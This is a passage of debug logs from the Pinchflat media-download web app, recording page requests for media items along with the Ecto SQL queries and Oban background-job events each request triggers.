m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [89341] 08:31:13.346 [debug] QUERY OK source="settings" db=0.6ms idle=662.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:31:13.346 [debug] QUERY OK source="settings" db=0.6ms idle=662.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:31:13.346 [debug] QUERY OK source="settings" db=0.3ms idle=397.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:31:13.346 [debug] QUERY OK source="settings" db=0.4ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:31:13.347 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:31:13.347 [debug] QUERY OK source="settings" db=0.3ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:31:13.349 [info] Sent 200 in 6ms 08:31:13.349 [info] Sent 200 in 6ms 08:31:13.868 [info] GET /sources/1/media/89348 08:31:13.868 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "89348", "source_id" => "1"} Pipelines: [:browser] 08:31:13.869 [debug] QUERY OK source="media_items" db=0.6ms idle=522.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [89348] 08:31:13.870 [debug] QUERY OK source="tasks" db=0.3ms idle=523.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [89348] 08:31:13.871 [debug] QUERY OK source="sources" db=0.5ms idle=523.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 08:31:13.871 [debug] QUERY OK source="settings" db=0.2ms idle=523.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:31:13.872 [debug] QUERY OK source="settings" db=0.3ms idle=524.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:31:13.873 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:31:13.874 [debug] QUERY OK source="media_profiles" db=0.3ms idle=3.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:31:13.878 [info] Sent 200 in 9ms 08:31:38.849 [info] {"source":"oban","duration":1452,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:31:54.337 [info] GET /sources/1/media/89344/edit 08:31:54.337 [info] GET /sources/1/media/89342/edit 08:31:54.337 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "89342", "source_id" => "1"} Pipelines: [:browser] 08:31:54.337 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "89344", "source_id" => "1"} Pipelines: [:browser] 08:31:54.338 [debug] QUERY OK source="media_items" db=0.9ms idle=654.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [89344] 08:31:54.339 [debug] QUERY OK source="media_items" db=1.4ms idle=1308.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [89342] 08:31:54.339 [debug] QUERY OK source="settings" db=0.2ms idle=656.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:31:54.340 [debug] QUERY OK source="settings" db=0.7ms idle=656.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:31:54.340 [debug] QUERY OK source="settings" db=0.9ms idle=308.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:31:54.341 [debug] QUERY OK source="settings" db=0.2ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:31:54.342 [debug] QUERY OK source="settings" db=0.3ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:31:54.342 [debug] QUERY OK source="settings" db=0.2ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:31:54.344 [info] Sent 200 in 7ms 08:31:54.344 [info] Sent 200 in 7ms 08:31:54.678 [info] GET /sources/1/media/89348/edit 08:31:54.678 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "89348", "source_id" => "1"} Pipelines: [:browser] 08:31:54.679 [debug] QUERY OK source="media_items" db=0.3ms idle=338.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [89348] 08:31:54.679 [debug] QUERY OK source="settings" db=0.2ms idle=338.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:31:54.680 [debug] QUERY OK source="settings" db=0.2ms idle=338.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:31:54.681 [debug] QUERY OK source="settings" db=0.2ms idle=338.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:31:54.683 [info] Sent 200 in 4ms 08:32:00.609 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:32:08.851 [info] {"source":"oban","duration":1413,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:32:24.318 [info] GET /sources/1/media/89346/edit 08:32:24.318 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "89346", "source_id" => "1"} Pipelines: [:browser] 08:32:24.318 [info] GET /sources/1/media/89349 08:32:24.319 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "89349", "source_id" => "1"} Pipelines: [:browser] 08:32:24.319 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=1229.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [89346] 08:32:24.320 [debug] QUERY OK source="media_items" db=0.4ms idle=636.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [89349] 08:32:24.320 [debug] QUERY OK source="settings" db=0.5ms idle=637.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:32:24.321 [debug] QUERY OK source="tasks" db=0.7ms idle=637.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [89349] 08:32:24.321 [debug] QUERY OK source="sources" db=0.8ms idle=228.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 08:32:24.321 [debug] QUERY OK source="settings" db=0.6ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:32:24.322 [debug] QUERY OK source="oban_jobs" db=0.4ms idle=2.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?)) [2383, 2465, 2553] 08:32:24.323 [debug] QUERY OK source="settings" db=0.4ms queue=0.3ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:32:24.324 [debug] QUERY OK source="settings" db=0.2ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:32:24.325 [debug] QUERY OK source="settings" db=1.2ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:32:24.325 [info] Sent 200 in 7ms 08:32:24.326 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=4.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:32:24.328 [debug] QUERY OK source="media_profiles" db=0.2ms idle=5.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:32:24.331 [info] Sent 200 in 13ms 08:32:24.691 [info] GET /sources/1/media/89335/edit 08:32:24.691 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "89335", "source_id" => "1"} Pipelines: [:browser] 08:32:24.692 [debug] QUERY OK source="media_items" db=0.3ms idle=368.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [89335] 08:32:24.693 [debug] QUERY OK source="settings" db=0.2ms idle=368.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:32:24.693 [debug] QUERY OK source="settings" db=0.1ms idle=367.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:32:24.694 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=367.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:32:24.696 [info] Sent 200 in 5ms 08:32:38.853 [info] {"source":"oban","duration":1546,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:32:46.257 [info] GET /sources/1/media/89335 08:32:46.257 [info] GET /sources/1/media/89337 08:32:46.257 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "89337", "source_id" => "1"} Pipelines: [:browser] 08:32:46.257 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "89335", "source_id" => "1"} Pipelines: [:browser] 08:32:46.259 [debug] QUERY OK source="media_items" db=0.9ms idle=1574.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [89337] 08:32:46.259 [debug] QUERY OK source="media_items" db=0.9ms idle=1574.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [89335] 08:32:46.260 [debug] QUERY OK source="tasks" db=0.7ms idle=1126.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [89337] 08:32:46.261 [debug] QUERY OK source="tasks" db=1.4ms idle=1576.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [89335] 08:32:46.261 [debug] QUERY OK source="sources" db=1.4ms idle=124.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 08:32:46.261 [debug] QUERY OK source="sources" db=1.5ms idle=0.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 08:32:46.262 [debug] QUERY OK source="oban_jobs" db=0.7ms idle=1.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?)) [2398, 2481, 2568] 08:32:46.264 [debug] QUERY OK source="settings" db=0.2ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:32:46.264 [debug] QUERY OK source="settings" db=0.1ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:32:46.270 [debug] QUERY OK source="oban_jobs" db=8.8ms idle=2.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2390, 2475, 2517, 2523, 2532, 2538, 2544, 2550, 2560, 2569, 2575, 2584, 2591, 2599, 2605, 2611, 2619, 2625, 2635] 08:32:46.271 [debug] QUERY OK source="settings" db=0.6ms idle=9.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:32:46.272 [debug] QUERY OK source="settings" db=0.3ms idle=9.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:32:46.273 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=8.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:32:46.273 [debug] QUERY OK source="settings" db=0.2ms idle=8.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:32:46.274 [debug] QUERY OK source="settings" db=0.2ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:32:46.275 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=3.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", 